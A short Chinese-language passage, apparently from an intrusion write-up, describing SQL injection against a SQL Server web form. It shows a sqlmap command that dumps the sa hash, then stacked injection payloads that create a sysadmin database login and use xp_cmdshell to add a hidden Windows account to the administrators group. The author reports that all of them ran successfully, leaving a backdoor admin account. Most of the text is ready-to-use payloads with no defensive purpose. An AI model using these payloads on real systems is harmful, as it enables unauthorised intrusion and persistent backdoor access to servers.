xp_cmd

然后sqlmap.py -r s.txt -p TextBox1   --dbs  -username -password什么的得出了sa的hash 尝试破解但是没破解出来，不想hash了，毕竟是sa权限。直接提交

;exec master.dbo.sp_addlogin vgy95$,V_gy95;--

;exec master.dbo.sp_addsrvrolemember vgy95,sysadmin;--

;exec master..xp_cmdshell "net user vgy95$ V_gy95 /add"--

;exec master..xp_cmdshell "net localgroup administrators vgy95$ /add"--

很幸运，这台服务器没设置什么乱七八糟的存储过程限制，都执行成功了。现在既有了sqlserver的sa权限，也有了一个admin权限的远程用户。